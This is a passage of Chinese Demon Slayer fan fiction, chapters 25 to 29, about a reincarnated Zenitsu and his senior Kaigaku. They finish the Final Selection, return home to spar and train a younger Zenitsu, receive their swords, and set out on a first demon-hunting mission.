“不不,不如说真羡慕你们两个之间的感情啊。”锖兔摆手,转而将手臂搭在了旁边的富冈义勇身上:“虽说我和义勇的感情也很好,但是有时候就却一点吵闹。不过,指望这小子是有点难了。”他拍拍义勇的肩膀,用一脸烦恼
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的样子对狯岳说:“这小子最近修行水之呼吸修行得越来越闷了,还经常说出一些很引人误会的话,真是让人担心啊。”
狯岳想起了日常在他耳边大喊大叫的废物师弟,面色发苦:“不,太过吵闹也让人头疼。”
发现狯岳有深入交谈的意思,锖兔越发精神,拉着狯岳分享有关自己师弟的事情。同样作为师兄,又有并肩作战的经历,两个人称得上是相谈甚欢。
旁边扶着师兄并且在偷听师兄讲话的我妻善逸被轻轻戳了一下手臂。他转眼,看到那位前世的水柱富冈义勇冲他点头,像是要说什么的样子。“有什么事吗?”
善逸观察着眼前这位上辈子的水柱。黑色炸炸的头发,白皙的肤色,大大的湖蓝色眼睛,额头上还有被简单包扎的伤口,一副欲言又止的表情,完全没有上辈子那个冷脸的水柱的样子。
纠结了半天,富冈义勇还是开口了。他说:“我非常羡慕你。你能够保护师兄,很厉害。”
锖兔重新出现在他面前时算不上狼狈,只是不见了脸侧消灾面具的踪迹,清秀俊逸的脸蛋展露,笑容像往常一样明媚。
富冈义勇却总有种不安感。
在他的仔细追问下,锖兔才摸着后脑勺,微微有些赧然地讲述了自己的情况。
得知锖兔差点死在鬼手中的那刻,恐惧瞬间袭上富冈义勇的心头,随即就是庆幸与后怕。在这次考核当中,他连一只鬼都没有杀死,完全靠着锖兔的保护才存活到了现在。锖兔努力地杀死藤袭山上的鬼,保护了很多人,甚至差点死在鬼手中,而弱小的他无能为力,连和锖兔一起并肩作战都做不到。
然而眼前的人,不止能和自己的师兄并肩杀鬼,甚至可以在恶鬼手中救下自己的师兄,保护自己的师兄,像是锖兔保护他那样。
锖兔差点被鬼杀死的事情始终在刺激着他,他不敢想象,要是没有眼前这个人,此刻的锖兔是不是已经进到了恶鬼的肚子里,而他还在昏迷之中,甚至不知道锖兔已经死亡。
好想、好想,和眼前人一样,保护锖兔,就像是锖兔保护他。
“既然羡慕我,那就去努力吧。”善逸单手拍上富冈义勇的肩膀,用坚定的眼神,望进义勇眼中的迷惘:“让那些做师兄的人知道,我们这些做师弟的,也能保护他们!”
富冈义勇震撼地对上善逸的坚定,眼睛睁大,嘴角微微上扬,心情变得昂扬许多,重重地点头:“嗯!”
“等超过师兄,就可以指使师兄帮你盛饭端碗,时时跟在你的身后伺候,等到你高兴后对师兄做出指点,然后被师兄用崇拜的眼神看着……痛!!师兄!今天你已经打我两回了!!”狯岳听着自己得意忘形的师弟越说越离谱,头顶的青筋直冒,再次出拳,给白日做梦的傻子师弟重重一击:“受着!蠢货!”
“师兄!就是因为你经常打我头才让我变笨的!!是你的问题!师兄!!”
“那你去告诉师父吧。让师父罚我。”
“师兄!!”
另一边,锖兔揽着富冈义勇的肩膀,认真地看着义勇:“义勇想要超过我吗?”
富冈义勇摇摇头,又点点头:“我想要变得更强,至少能和你并肩作战。”
“这样吗?”锖兔的笑容更加灿烂了,他伸手揉揉义勇的黑色头发:“那我等待那一天。”
“嗯!”
26.第 26 章
进入藤袭山的人都到达了此地,那位讲解选拔规则的白发女子也来到了众人面前。
测量身体数据、发放队服、选择锻造日轮刀所需要的钢材,最后,女子拍手,召唤来了一群鎹鸦。
“这些是鬼杀队的鎹鸦,负责传递消息。之后你们杀鬼的命令都会由他们送达。”
任由自己的鎹鸦落在肩膀,善逸观察着油光水滑的大乌鸦,遗憾于自己的鎹鸦不是啾太郎一样的小麻雀。也是,没几个鬼会专门去掏麻雀窝,所以像是啾太郎那样和鬼结仇的小麻雀也不会太多。
众人陆陆续续离开,我妻善逸带着自己的师兄走到了哪位白发女子的面前,被白发大姐姐注视着的我妻善逸有些扭捏又不好意思地说:“如果可以,能将我和师兄的任务分配得近一些吗?我很担心师兄会在那次任务中被鬼吃掉……痛!师兄!”
狯岳不理睬师弟的惨叫,按着师弟的背,两人一同冲着白发女子鞠躬,同时严肃地对面前带着庄严神性的女子说:“非常抱歉,请忽视这个废物无理的要求,正常向我们分配任务就好。”
那位白发女子,也就是产屋敷当主的妻子产屋敷天音看看还在抱头的我妻善逸,又看看严肃的稻玉狯岳,随后点头:“知道了,我会向主公大人传达的。”
狯岳微微欠身:“失礼了。”说完,拄着自己的傻子师弟离开了藤袭山,留那位天音夫人略有些新奇地看着这奇妙的师兄弟的背影。
这一要求被他们传递到了产屋敷耀哉那里,伴随着这次考核全员存活的消息。
“这样吗,还真是个令人愉快的消息。”产屋敷耀哉的嘴角微微扬起,对着旁边端着茶水落座的夫人道。
“夫人见过那位小小年纪就斩杀了下弦鬼的我妻少年了吧。”产屋敷耀哉的声音舒缓而沉静。
“是的。他们师兄弟的相处让我很惊讶。”天音夫人也想起了临走之前见到的那幕。“对于这个要求,夫君是怎样想的呢?”
“他的要求并不是什么为难的事情。”产屋敷耀哉笑着道:“这对雷呼师兄弟,希望他们能给我带来更大的惊喜吧。”
说完,他提笔写信,将这封信交给了鎹鸦,传递了出去。
花费了五天的时间,善逸和狯岳才从藤袭山赶回了桃山上。
“狯岳,善逸,欢迎回来!”打开门,桑岛老爷子乐呵呵地站在玄关,接过两位弟子身上的包袱。
“师父,我们回来了。”狯岳的双腿已经基本回复,此刻拉着师弟的后衣领,将想往师父身上扑的我妻善逸扯住:“爷爷!!我们回来了!!我超级想你的!!”
“是吗是吗!”桑岛爷爷走上前,给了善逸和狯岳一个大大的拥抱。
“狯岳师兄!!善逸师兄!!”旁边的小善逸像是个小跳蚤,凑到刚刚回来的两位师兄跟前,好奇的眼睛盯着他们带回来的包袱:“这是什么?还有,考核吓人吗??”
桑岛慈悟郎松开两人,留下他们师兄弟交流,自己去准备中午的饭食。
“噔噔!这可是我们的鬼杀队队服哦~”善逸拿过自己的队服,得意地展开给小善逸看。结果被师兄一手刀披在了头上:“别拿你的脏手碰新衣服!!还有你!”狯岳转头,对上小善逸,眉头皱了起来:“你今天不用练习吗?还是又废物地逃掉了?”
小善逸对上狯岳师兄熟悉地恶鬼颜,浑身颤抖了一下,又想到了什么,虚张声势地说:“爷爷今天可是给我放假了!!师兄你不许罚我!!”
“是吗。”狯岳用怀疑地眼神盯着小善逸,直将他盯得缓缓后缩,最后缩到了墙角不动了,才不屑地轻嗤:“小废物。”
说完,拿上自己的队服和刀,想着房间的方向走去。
一直到大魔王狯岳离开,缩到墙角的小善逸才松了口气,他移动到刚刚一直看自己笑话的师兄旁边,伸出手指戳戳师兄的胳膊:“呐,师兄,考核是不是超级可怕?”
善逸看着小小的自己,想起了当时自己去考核之前被爷爷扇的巴掌,觉得这是我妻善逸不能缺少的人生履历。于是连自己都坑的善逸严肃了表情,摆摆手,示意小善逸将耳朵凑过来。
小善逸望见自己师兄那种像是要讲什么机密的表情,缩了缩脖子,最终还是凑了上去。
善逸开口:“我在藤袭山上,遇见了一直舌头超级长的鬼!当我见到他的时候,他正将舌头塞进了一个人的耳朵里吸食,‘咕嘟’、‘咕嘟’几声之后,那个本来还在挣扎的人就完全没有了动静。然后那鬼看见了我,将他的舌头从那人的耳朵里拔了出来……他那舌尖上,还沾染着黄白的碎屑……我当时想了半天,直到哪只鬼将舌头搅进我的脑袋的时候,我才想起来……”
善逸的表情越来越阴森,小善逸的身体也颤抖得越发厉害。他用双手捂住自己的耳朵,努力将头往远离这可怖声音的方向移动,然而他被恶趣味的师兄抓了回来,善逸掰开小善逸捂住耳朵的手,凑近小善逸的耳朵,压低声音,用带着颤抖的音调说出了最后一句话。
“那是,脑浆啊……”
“咦啊啊啊啊啊啊啊!!!!”小善逸的尖叫像是要振破房顶,甩开善逸,颤抖地朝着刚出来的狯岳身上爬:“师兄!!师兄!!救救我!!善逸师兄他变成鬼了啊!!!”
同时被小善逸的高音重伤的善逸和狯岳不约而同地捂住了耳朵:“斯——”
“你们两个在搞什么?!!”狯岳单手捂住耳朵,用另一只手将像是章鱼一样扒在他身上的小善逸往下撕:“你!给我下去!!”
“不要啊!!不要!!善逸师兄被鬼把脑浆吸走了还活着!!他一定是变成鬼了!!呜呜狯岳师兄你要保护我!!我不想要也被从耳朵里吸走脑浆呜呜呜——”
狯岳将锐利的视线移动到大的那个善逸身上,果然,对上了他心虚的眼神。
狯岳深深呼出一口气,脑子一跳一跳的,感觉自己上辈子得是吃人了这辈子才会摊上这两个师弟。
心虚的我妻善逸朝着自己师兄这边凑了凑,试图拯救一下自己,伸手试图将小善逸从狯岳身上扒下来:“善逸,快下来——”
“师兄他来了!!他来吃我了师兄!!快保护我!说不定他的舌头能直接穿过我的头骨塞进去呢!!我死定了!!会死的师兄!!咿呀——”
完蛋!!善逸小心观察着自己师兄的表情,发现师兄头顶的阴云越聚越多,表情也越来越恐怖,牙齿咬的咯吱响,像是要将他们连个都给打死一样。
不好!不好!!善逸头上的冷汗越冒越多,脸色也越来越白,他努力抓着还不知道自己之后的处境,尖叫着躲避自己,在师兄身上转圈爬的小善逸。快下来啊!!不然我们两个都要遭罪!!
狯岳的耳朵里充斥着小善逸肮脏的尖叫声,还被小善逸在身上转着圈爬,最后被试图抓捕小善逸的师弟在身上摸索,脑袋上的青筋越冒越多头被炸得嗡嗡响,忍无可忍之下,举起了自己的两只手……
“duang”“duan
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“伊狯岳师兄我咬到舌头了好痛——”
“废物闭嘴!!”
狯岳终于将自己身上爬来爬去的小善逸像是撕恶心小广告一样撕了下去,将他放在了自觉靠墙站的善逸的旁边,一大一小,两个长着一模一样的脸的人,脑袋上顶着一模一样的大包,委委屈屈地站好被师兄骂。
“你们两个……”狯岳都要被这两个熟练装委屈的样子给气笑了。他俯下身,单手掐住小善逸的下巴:“你是不是太闲了?看来也不用休息了,等会让我看看我们不在桃山的这段时间你剑术练得怎么样吧,小废物。”
“还有你!!”狯岳甩开小善逸的下巴,转头看向刚回家就惹祸的大善逸:“废物!蠢货!很喜欢炫耀你的杀鬼经历是吧?很享受别人对你的崇拜是吧?好厉害啊善逸大人——喜欢听这种话是吧?”
“哈哈也不算是很厉害——”正在被师兄臭骂的我妻善逸突然接收到师兄温声软语的夸赞,一瞬间变得飘飘乎乎起来,还打算和师兄说两句客气话……
“闭嘴废物!!没有在夸你!!”狯岳看到自己的废物大师弟居然还敢做出那种恶心的表情和动作,再次一拳砸上了他头顶,“duang”一声,善逸重新变得委委屈屈,头顶着两个叠在一起的包。
“伊!!”小善逸看到师兄的惨状,完全忘记了刚刚还在害怕师兄吸自己的脑髓,默默地凑近了大善逸,试图在挨揍共同体中寻求一丝安全感。虽然,刚刚狯岳师兄叫着“善逸大人”说那样的话,小善逸一瞬间也是爽到了……幸好没表露得太明显……
“这么喜欢,那你就将被子挪到那个小废物的房间,每天晚上给他讲一个杀鬼故事好了!!”
“不要啊!!师兄!!!”一大一小两个善逸同时扑上去搂住了师兄的腿,尖叫着,哭得眼泪鼻涕混作一团:“师兄!!!”
“呜呜呜善逸师兄他会晚上变成鬼吸我的脑子的!第二天师兄你就要给我收尸了!!呜呜呜能不能让他自己睡我的房间,我去找你啊师兄!!我真的不想死呜呜呜师兄!!”
而听到自己即将被师兄赶出房间的我妻善逸声音更加尖利,他用那种被渣男抛弃的语气大声尖叫:“我知道了!师兄你就是对我感到厌烦了对不对!!专门找个理由将我赶出去!我跟你讲,不可能的!你不能这么轻易甩掉我!!我们可是一起睡过这么多年!!大哥你现在想和我分开也不可能的!!”
还在吵闹的小善逸忽然听到了自己师兄的逆天发言,堵在嗓子眼中的尖叫和哭喊瞬间安静下来,转过头去,用一脸看鬼的眼神看向了还在撒泼打滚的师兄。
一瞬间,整个房间中只有善逸的逆天叫喊声,余音绕梁。
“师兄你今天要是把我赶出去,我就对所有鬼杀队队员宣扬你始乱终弃!!让所有人都知道你是个抛弃发妻的人渣!!”
狯岳简直要疯了!他用力将自己被小善逸抱住的脚抽出来,恶狠狠地踩上了善逸的后背,伸出左手,一把拽住善逸的头发将他的脑袋从地上薅了起来两只冒火的眼睛对上善逸还有着雷光的朦胧眼睛,眼中的怒火将善逸吓了一条,瞬间闭上了嘴。
“你,是不是想死啊?嗯?”狯岳从牙缝里挤出来这句话,同时上手去善逸腰间抽日轮刀:“我这就砍死你个变态!!”
“诶诶诶别冲动师兄!!”“爷爷!!师兄要杀人了啊啊啊啊!!”“伊啊啊啊大哥就算你杀了我你也不能赶我走的!!”“废物受死吧!!!”
27.第 27 章
“好了,吃饭。”桑岛慈悟郎不去看他的两个小徒弟头上的包和衣服上的裂口,安抚性地对着低气压的狯岳说:“在外面赶路一定没吃好吧?今天多吃一些,多补充一点前几天消耗的营养。”
鬼知道桑岛慈悟郎刚从厨房出来就见到小徒弟哭着来找他,对他说善逸师兄把狯岳师兄气得想要砍死他时的惊悚心情。
此刻看到浑身还在冒黑气的狯岳,他小声地说:“那个狯岳啊,不管怎么说,善逸也是不能砍死的,鬼杀队队员不能刀剑相向的。”
他顿了顿,继续说:“你要是觉得生气,光骂他就好,实在不行用木刀切磋,还是不要用真刀了。”
“是,师父。”狯岳勉强收敛了浑身的黑气,平复了自身的暴躁心情,然后头也没转,小声对着旁边两个像是鹌鹑一样缩起来的人说:“还愣着干什么?吃饭!”
“是!!”
吃完饭,狯岳向师父告辞,回去洗完澡换上了训练服,杀气腾腾,拿起两把日轮刀揪着善逸来到了桃林之中。
善逸被师兄扔在了地上,揉着被衣领勒痛的脖子抱怨:“师兄你这样搞得我好痛……伊!!”
“放出大话将我变强的事情大包大揽,这样信誓旦旦……”
狯岳没管善逸口中的嘟囔,将善逸的日轮刀丢到他身前,侧手拔出自己的日轮刀,对准还坐在地上的善逸:“来,让我看看你的能耐!”
“什么嘛……”善逸默默将举起的双手放了下来。他还以为师兄要继续砍人呢……原来是要切磋啊。
他拍拍身上沾染的尘土,单手撑地,从地上站起身,散漫的神情在双手握住日轮刀的一瞬间收回,取而代之的,是锋利的认真。
“师兄,我可不会对你放水的哦?”狯岳抬头看了一眼师兄,正对上师兄同样认真的眼神。
“少废话!来吧!”
善逸将双腿前后分开,身体重心下压,握着刀鞘的左手拇指推动刀镡,深度的呼吸让电流贯穿全身,右手拔出日轮刀的瞬间,身形如闪电般向着师兄的方向射出!!
狯岳谨慎地拔出了日轮刀,注意到善逸的起手式后提前出手,挡在了身体正前方!
“铛!!”刀剑与刀剑的碰撞声响起,提前预判到了这一招落点的狯岳用日轮刀挡下了这一击!
“很厉害嘛,师兄!”感受着刀身传来的力道,善逸的嘴角微微扬起,与此同时,脚下再次发力:“下一招你还能挡下我吗?”
善逸的身影刹那间移动到了狯岳旁边的桃树上,双脚在桃树树干上蓄力登起,以极速重新砍向了狯岳的方向!!
“嘁!!”狯岳提前感受到了身后扑来的风,连忙身体前移,左脚前撤,向后转身,借助旋转的势头挥出日轮刀,千钧一发之际将冲着自己的刀砍偏了方向!
善逸的身影像是被扔出去的弹力球一般,借助着四周的桃树弹转方向,加上他的速度惊人,很快,狯岳就招架不住从四面八方斩过来的善逸,被我妻善逸一刀背砍在了胸口。
“呦西——师兄,你死啦。”善逸轻盈落地,将日轮刀收回刀鞘,身周的电光也收了起来,转身看向被击中的师兄。
“再来!!”狯岳重新摆好防御的姿势,神色严肃地注视着善逸。使用霹雳一闪的善逸的速度太快了,尽管他的剑招都是直来直去的,但在高速之下,看不清出招方向的狯岳依旧没办法抵抗。他试图用善逸带起来的风来确定方向,然而往往当他意识方向之前,善逸的日轮刀就先砍了过来,他只能凭借本能险险挥刀抵挡,根本来不及做出其他反应。
狯岳再一次被师弟的刀背击中左肩,向后后撤一步卸力,同时转手用刀砍向善逸的方向,然而只砍到善逸的虚影。
善逸后撤跳开,一副心有余悸的样子捂住心口,冲着用刀刃毫不犹豫地冲着自己砍来的自家师兄喊到:“师兄!!你被击中就是死了哦!!不可以继续砍师弟的!!”
“啰嗦!!再来!!”
“好的好的,师兄不要着急嘛……”善逸再次拔刀冲了上去。这回他的速度更快,攻击也更加密集,不停地挥刀砍向师兄,狯岳的身周甚至出现了两三个虚影围绕攻击,就连击中了师兄也没有停下来。
“呃啊!!”被师弟连续地敲中后腰和大腿,狯岳感觉到自己浑身发麻,善逸攻击所带的微微电光似是顺着进入了他的身体之中,横冲直撞地在五脏六腑之间乱窜。狯岳狼狈地勉强用日轮刀抵挡着来自师弟的攻击,然而还是有更多的攻击落在了他的身上。
可恶啊!!这样下去不行!!
狯岳咬紧牙关,在密集的攻击中思考着应对师弟的方法。善逸的攻击来自四面八方,狯岳面前主要有两个难点:一个是没办法判断善逸攻击来的方向,另一个是在判断出来后没办法及时的转身应对。快想想,快想想,狯岳,你能想到的,你绝对不比那个废物差!
有什么可以提前感应到攻击方向……狯岳思考者,再次被师弟的日轮刀抽到了手臂上,那股电流差点将他的手臂麻痹掉!真是恶心的攻击……等等,电流?
狯岳挡住眼前的日轮刀,隐隐观察到了两柄刀身上的电流的交换。他们都是雷呼剑士,呼吸法带来的附加电流充斥在他们之间的空气中,让他一时间忘记了电流的存在。
只要善逸朝他挥刀,在日轮刀落下之前,攻击带来的电流会先告诉他方向!
狯岳深深呼出一口气,接着用快速而清浅的呼吸加强手臂以及双腿的肌肉,日轮刀随着他的呼吸带起了蓝色的细小电弧:“雷之呼吸 三之型 聚蚊成雷 改!!”
瞬间,狯岳像是被放置在潮湿空气中的电线,四周充斥着细小的电弧。在善逸的下一次攻击赶到善逸身周之前,善逸攻击中所携带的电流随着靠近自动接上了狯岳身周的电弧,黄色的闪电和蓝色的电弧接上,“啪!”一声,两个人同时感受到了过电的触感。
被这一瞬间的感觉提醒,狯岳极速转动身体,瞬间对上善逸的日轮刀,随后用自己的刀砍歪了善逸的
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方向。
!!师兄好厉害!!善逸双眼发亮,调整方向继续拿着日轮刀攻了上去!!
“啪!”狯岳感应到攻击,迅速转身,此次他直接将善逸给打飞了出去!善逸继续在空中调整身形,用更快的速度冲向了师兄!
善逸的攻击速度加快,狯岳也只能用更快的速度旋转抵抗,同时试图干扰我妻善逸的方向。一瞬间,两个人的身影都因速度极快而变得虚幻起来,只剩下噼里啪啦的黄蓝色电弧在身周炸响,带着恐怖的电量,像是个球型闪电一般。
狯岳的速度终究是比不上打嗨了导致忘记收手的善逸,被善逸的抽击干扰,他身周的电弧也削了下去。善逸遗憾地落地,感受着刚刚连续出击导致的腿部肌肉刺痛在身体内的力量下恢复,转身望向双手指着腿喘气的师兄:“师兄你不行了吗?”
“哈?我还好着呢!!再来!!”狯岳站起身,继续将刀举向了我妻善逸,眼中充满了对力量的狂热。
迎着这样的眼神,善逸也不由自主笑了起来。他的眼神同样变得愉快而锐利:“师兄!!我继续了哦!!”随即黄色的闪电再临,蓝色的电弧也撞了上去!!
在与善逸的对抗之中,狯岳一步步地调整自己的招式,试图用更少的电弧,更轻微的动作达成一致的效果,同时也在调整电弧的感应,想要从电弧中得知更多的东西。感受到师兄的动作变化,善逸也配合着出招,让师兄的招式开发更加顺利。不停失败,然后不停再来……他们就这样对练到随后一缕日光消失,时间到达了夜晚。
被爷爷派遣来叫师兄吃饭的小善逸就看到两个人极速地在黄蓝闪电中穿梭,身影快到看不清,只听到刀剑碰撞的声响以及劈啪作响的电弧声。
“怪物吗这两个人……”小善逸呆呆地望着眼前的场景,一时间,眼中只剩下激烈碰撞的电光。在黑暗中,那团黄蓝闪电组成的球像是一朵渐变色玫瑰,美丽而又危险,带着生命热情绽放的激烈。
“善逸——善逸——”眼见两个大徒弟久久不归,出来喊人的小徒弟也不见了身影,桑岛慈悟郎终于等不住出来寻找自己的徒弟,而等他找到桃林时,看到的就是和小善逸一样的场景。
感受到身边的身影,小善逸呆呆地转过头,问自己的爷爷:“爷爷,我之后也能到这种程度吗?”
桑岛慈悟郎欣慰地看着两个大徒弟,同时抬手揉了揉小徒弟的头:“会的,善逸。”
“还有!!你们两个!!该回来吃晚饭了!!小心把腿练伤了!!”
“是!师父!!”
狯岳收回抵挡攻击的日轮刀,同时麻木地双腿摇摇晃晃地走向师父的方向。他下午使用太多次聚蚊成雷,此刻又变成了双腿发麻的状态。
善逸收好刀,连忙上前扶住差点倒在地上的师兄,同时忍不住劝说道:“师兄!!这种情况下叫我来扶你嘛!!太爱逞强了!!”
“闭嘴。啰嗦的小傻蛋。”
“师兄!!”
“嘁。”
28.第 28 章
打嗨了的后果就是稻玉狯岳在后两天只能当残疾人。毕竟一直强迫自己使用雷之呼吸的消耗,对于现在的狯岳来说还是太大了。
作为不能说是始作俑者也是导致师兄瘫痪的罪犯之一,善逸这两天一直在师兄身边cos轮椅,随时帮助师兄移动。
狯岳对自己昨天尝试的三之型新用法依然火热,然而现在他的双腿没办法动弹,只能将一身的劲全使到督促小师弟训练上。
桑岛老爷子想去抓小善逸训练时,就看到自己的两个大徒弟已经用木刀将小善逸抽得啪啪响,一点点纠正他的动作了。
“关系真好啊……哈哈。”桑岛慈悟郎背过手,转身找个地方喝茶去了。
难得有可以休息的时间呢……
这边正在被师兄们斯巴达训练的小善逸并不知道,他所期待的能打断师兄们对自己的残酷训练的爷爷已经摆着手喝茶去了。当他再一次用希冀的眼神望向往常爷爷出现的地方时,肩膀被师兄狠狠抽了一木刀。
“我们出门的这几天,你是一点没有进步啊,小废物。”将身体的重量都放在身边善逸身上的狯岳紧皱着眉头,用恨铁不成钢的眼神死死盯着小善逸。
举着木刀的小善逸在师兄的眼神中忍不住化身扭曲的一条:“别用那种看废物的眼神看着我啊!!‘这么简单的东西你这废物怎么能学不会’师兄你的眼神是这种意思吧!!抱歉啊我就是学不会其他型啊!!我有很努力练习的啊!!这几天甚至没有让爷爷多抓就去练习了啊!!但是依旧学不会能怎么办啊!!!我就是很弱小啊!!”
小善逸边尖叫着边在地上扭曲翻滚,像是一条被抓上岸的鱼。狯岳一个不注意,差点被他给绊倒,还好旁边的善逸将他扶稳了。
狯岳头顶青筋跳动,一木刀直接抽到了地上那条乱扑腾的鱼的屁股上:“废物!!给我起来!!”
“伊!!师兄你不要那么凶嘛!!!”小善逸捂着屁股站起身,还捡起了在他的扑腾之下掉到一边的木刀。
“‘因为只学得会一之型所以觉得自己实力弱是理所当然的’,这是你为你的弱小找的借口吗!!谁告诉你只学得会一之型就实力弱了?!!”狯岳再次生气的将木刀抽向了小善逸的后背:“废物就是废物!不努力还认为是自己不够有天赋?错了!小废物!!那是因为你还没足够努力!!”
“每次挥刀都做到最标准了吗?每次速度练习都做到自己的最快速度了吗?每次使用呼吸法都激活自己身体的所有了吗?没做到这些你还说自己已经努力了?笑话!”
“老师可是曾经的柱!!在这样难得的名师教导之下,你居然还需要每天被老师抓着才肯去练习?就这样你还有脸在我面前说自己已经努力过了?还在我面前撒泼打滚,为自己的不成器找借口?”
狯岳的眼神变得锐利而冷酷:“那我只能说,废物,你找个机会滚下山好了,省得浪费老师的时间,也浪费我们的教导。
“你自己想想吧,废物。”
将小善逸扔在原地,狯岳拄着师弟离开。
小善逸呆呆地听着狯岳师兄的爆发,随后看着两位师兄离开的背影,手指动了动,常年练剑留下来的老茧和木刀摩擦,发出“沙沙”的一点声响。他逐渐用力,手越攥越紧,自己手中的木刀不堪重负,发出“咔咔”的响声,脑海中再次出现了昨天见到那电闪雷鸣的对战场面。
“如果只学得会一之型,那就集中一点,登峰造极吧,善逸。”在发现他也只能学会一之型时,爷爷并没有非常的失望,转而对他说出了这番话。“你的眼前,就有很好的榜样,不是吗。”
将,一之型,修行到极致……他也可以,获得像善逸师兄那样的力量吗。
小善逸的握紧木刀,再次摆好姿势,用力地挥了下去。
狯岳被搀扶着来到檐廊处坐下,一转头,发现自己的傻子师弟的状态不对劲,整个人晃悠悠的,还不停从身周冒出小花,像是喝了假酒一样。
“喂,废物,你怎么了?”
善逸转过头来,露出一脸梦幻的表情:“呐,我告诉你哦师兄,就算夸我实力很强我也不会允许你将我赶出房间的哦~”
“……”狯岳扭头:“yue——”
“师兄你这样有点伤人了哦——”善逸像一块黄色的抹布一样从师兄身上擦过去,还时不时冒出来两个波浪形状的泡泡,连鼻子里喷出来的气都是粉红色:“但是师兄我会原谅你的,哈哈哈,谁让我是实力很强的人呐,哈哈哈~”
“你正常点,傻子。”狯岳对自己师弟的傻样完全看不过眼,一手刀披在了在他身边融化的不成人形的善逸头上。
“嘿嘿嘿,嘿嘿嘿。”两辈子加起来,这还是善逸第一次从师兄口中听到对自己的夸赞呢。那可是狯岳啊,那个一直“废物废物”地叫着他的狯岳啊,居然在心中也会认为自己是应该成为的强者吗?诶呀真是令人害羞呢,这可怎么办才好,嘿嘿嘿。
善逸感觉自己心中毛茸茸软乎乎的,像是被塞满了棉花一样,浑身都变得轻飘飘。嘿嘿嘿,原来师兄一直觉得我是只得追逐的目标吗?那这辈子师兄轻易就接受了和我一起成为雷呼的继承人,并且穿上了那件爷爷给的羽织,是不是也有认可我的原因在呢……
善逸感觉自己像是一块小果冻,在内心的热意之下逐渐化开,变成一坨善逸围在师兄周围,黏糊糊地贴在师兄身上。
狯岳对着哪怕被自己砸了脑袋依旧还在傻笑的傻子师弟翻了个白眼,转而和他谈论起另一个话题:“那个小废物,你有时间去指导一下他的一之型。”
提到别的事情,善逸duang地一下从化掉的果冻变回人形。他有些意外,微微愣怔地看向狯岳,轻声开口:“师兄,你什么时候这么关心小善逸了?不会是被鬼夺舍了吧?”
他担忧地看向师兄的头,颇有点想要上手把弄一下,检查师兄的脑袋是否出了问题。
要知道上辈子的师兄,可是除了将他驱逐出桃山外,从没关注过他的修行进度,虽说偶尔有感觉到师兄的视线,也从没被师兄上手指点过,巧合遇见他练习时也是一副避之不及的厌恶态度。
这辈子的师兄,居然会为了小善逸的实力而烦忧,会为了督促他训练说出那样的话,会在背地里拜托自己去教导小善逸吗?
“废物闭嘴。”狯岳感觉手痒痒的,又想往师弟头上敲了。“像是他那样的废物,估计到藤袭山的时候就会被鬼给吃掉。到时候师父伤心不说,我们当初对他的教导也都浪费了。”他可不想等到这个小东西到年纪后死在藤袭山中,到时候浑身上下估计只会剩个羽织回来,净是丢雷呼一门的脸。
善逸眼睛睁大,双手捂住自己的心口。他感觉自己的心脏像是被师兄发射出的子弹射中了,
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不然为什么被师兄的一席话搞得头晕目眩的,内心像是漏水了一般一直往外吐泡泡,咕咚、咕咚,泡泡从胸口冒出,然后在他的脑袋里炸开。
“师兄,原来你这么在乎善逸吗?”善逸怔怔开口,心里毛茸茸的,感觉像是一直喂养的,总是朝自己哈气的小猫,有一天突然跳到了自己的膝盖上呼噜噜踩奶,那种软乎乎的惊喜之感,像是一只毛茸茸的毛球,在善逸的心上扫来扫去。
善逸扶着师兄的双臂,无意识地靠近面前的人,随后直接扑了上去,两个人一起倒在了檐廊之上,善逸轻轻地用脸蹭着师兄的脸蛋,温暖的、光滑的,还有一点毛茸茸的感觉。
啊,师兄。
狯岳被这个突然扑上来的师弟惊了一下,然后使劲用手推善逸的脸:“离我远一点!!废物!!还有!!少自作多情了!!!”
“师兄!你好在乎我!!”
“yue!!”
等到狯岳的腿好了之后,他们两个又开始了每天的切磋,只不过没有像是第一天那样的高强度,之后在留出半天的时间去教导小善逸。时间就这样流逝,直到十天后,两个带着火男面具的人上了门,将他们的日轮刀带了过来。
收到了日轮刀,也就代表着,他们的鬼杀队剑士工作,要正式开始了。
善逸早早就换上自己的队服,从锻刀人手中接过自己的新日轮刀,握住刀柄,缓缓将日轮刀拔出。被拔出的日轮刀在他的眼前蔓延上闪电的纹路,锐利无比。
他满意地将新到手的日轮刀收回刀鞘,从腰间替换下来他上辈子的那把刀,并将那把陪伴他许久的日轮刀交给了旁边兴致勃勃围观的小善逸。
“当你去参加藤袭山选拔时,就带上这把刀吧。”善逸拍了拍小家伙的头,将愣怔的小家伙拍得头发一翘,像一只黄色蒲公英。
“喂,准备好了没?”刚换好鬼杀队队服的狯岳出现在他们眼前。他一出现,刚刚还在看刀的两个人纷纷望过去。
“压力好大……”善逸呆愣愣地望着师兄的队服。
“确实,压力好大啊……”小善逸也赞同了善逸的发言,直直地望向了师兄。
“哈?你们在说什么?”狯岳拿上自己的日轮刀插到腰间,在动作之下,他胸口的布料被绷紧,扣子与扣子之间的缝隙完全可以看到那之下的皮肤,只有在中间连接的扣子努力地拉扯着,试图守护狯岳的清白。
狯岳将队服穿得很整齐,队服整体来说也很合身,只是胸口略微有点紧张,但在狯岳看来不是什么大不了的问题。
善逸猛然冲上去,拽住师兄的衣前襟,细细拢住,认真地对自己的师兄说:“师兄,我们去找鬼杀队换一套衣服吧。”
“哈?你有毛病?”狯岳完全不知道自己的师弟在这种马上要出门杀鬼的场合在作什么妖,甩开他拽着自己衣服的手:“收拾好我们就要出门了!”
“我说真话!!师兄!!男孩子出门在外要保护好自己啊!!!”善逸还在挣扎着想要守护师兄的贞操,试图换掉师兄身上这种不正经的队服,被师兄一拳打在了头上。
“想挨打就直说!!”
正在他们两个打打闹闹之际,两只乌鸦从远处盘旋飞来:“南南东!!南南东!!恶鬼出现在南南东!!小镇巷子里出现断肢!!有流浪儿童莫名消失!!”
“南南东!!南南东!!”
29.第 29 章
“走了走了!!再见!!”师兄弟二人告别爷爷和小善逸,踏上了杀鬼的路途。
两个人在山林穿行,最后到达了附近的城镇之中。这里,就是鎹鸦传来的消息中,出现鬼的地方。
此时依然是下午时分,善逸跟着师兄穿行在街道上。来往行人很多,但大多数都神色紧绷,整个街道都显得压抑异常。
从他们从山林进入城镇这短短一段路程以来,光是正在举办丧礼的人家都见到了三户。然而他们上去打听,却只得到主人家是病逝的消息。既然是病逝,那大抵不是恶鬼干的吧。
他们默默绕过那些黑白色的人,继续深入这座沉重的小镇。
他们找了个茶铺坐下,仔细倾听过往行人的谈话。善逸的耳尖微微动了动,他听到了在另一家店铺前闲话的两人的声音。
“……确定了吗?真是那人的?”
